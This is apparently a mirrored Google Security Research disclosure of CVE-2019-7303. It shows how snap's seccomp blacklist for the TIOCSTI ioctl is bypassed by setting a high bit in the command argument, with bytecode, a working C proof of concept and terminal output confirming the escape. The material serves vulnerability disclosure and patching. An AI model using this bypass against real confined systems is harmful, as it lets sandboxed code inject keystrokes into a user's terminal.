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snap seccomp TIOCSTI Blacklist Circumvention

snap seccomp TIOCSTI Blacklist Circumvention
Posted Mar 22, 2019
Authored by Google Security Research

snap uses a seccomp filter with a blacklist for TIOCSTI can be circumvented.

tags | exploit
advisories | CVE-2019-7303
MD5 | d115b8657c274c5957091d315ab7e604

snap seccomp TIOCSTI Blacklist Circumvention

Change Mirror Download
snap: seccomp blacklist for TIOCSTI can be circumvented 

Related CVE Numbers: CVE-2019-7303.


snap uses a seccomp filter to prevent the use of the TIOCSTI ioctl; in the
source code, this filter is expressed as follows:

# TIOCSTI allows for faking input (man tty_ioctl)
# TODO: this should be scaled back even more
ioctl - !TIOCSTI

In the X86-64 version of the compiled seccomp filter, this results in the
following BPF bytecode:

[...]
0139 if nr == 0x00000010: [true +0, false +3]
013b if args[1].high != 0x00000000: [true +205, false +0] -> ret ALLOW (syscalls: ioctl)
0299 if args[1].low == 0x00005412: [true +111, false +112] -> ret ERRNO
030a ret ALLOW (syscalls: ioctl)
[...]

This bytecode performs a 64-bit comparison; however, the syscall entry point for
ioctl() is defined with a 32-bit command argument in the kernel:

SYSCALL_DEFINE3(ioctl, unsigned int, fd, unsigned int, cmd, unsigned long, arg)
{
return ksys_ioctl(fd, cmd, arg);
}

This means that setting a bit in the high half of the command parameter will
circumvent the seccomp filter while being ignored by the kernel.

This can be tested as follows on Ubuntu 18.04. You might have to launch the
GNOME calculator once first to create the snap directory hierarchy, I'm not
sure.

====================================================================
user@ubuntu-18-04-vm:~$ cat tiocsti.c
#define _GNU_SOURCE
#include <termios.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/syscall.h>
#include <errno.h>

static int ioctl64(int fd, unsigned long nr, void *arg) {
errno = 0;
return syscall(__NR_ioctl, fd, nr, arg);
}

int main(void) {
int res;
char pushmeback = '#';
res = ioctl64(0, TIOCSTI, &pushmeback);
printf(\"normal TIOCSTI: %d (%m)\
\", res);
res = ioctl64(0, TIOCSTI | (1UL<<32), &pushmeback);
printf(\"high-bit-set TIOCSTI: %d (%m)\
\", res);
}

user@ubuntu-18-04-vm:~$ gcc -o tiocsti tiocsti.c -Wall
user@ubuntu-18-04-vm:~$ ./tiocsti
#normal TIOCSTI: 0 (Success)
#high-bit-set TIOCSTI: 0 (Success)
user@ubuntu-18-04-vm:~$ ##
user@ubuntu-18-04-vm:~$ cp tiocsti /home/user/snap/gnome-calculator/current/tiocsti
user@ubuntu-18-04-vm:~$ snap run --shell gnome-calculator
[...]
user@ubuntu-18-04-vm:/home/user$ cd
user@ubuntu-18-04-vm:~$ ./tiocsti
normal TIOCSTI: -1 (Operation not permitted)
#high-bit-set TIOCSTI: 0 (Success)
user@ubuntu-18-04-vm:~$ #
user@ubuntu-18-04-vm:~$ pwd
/home/user/snap/gnome-calculator/260
user@ubuntu-18-04-vm:~$
====================================================================


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.


Found by: jannh@google.com

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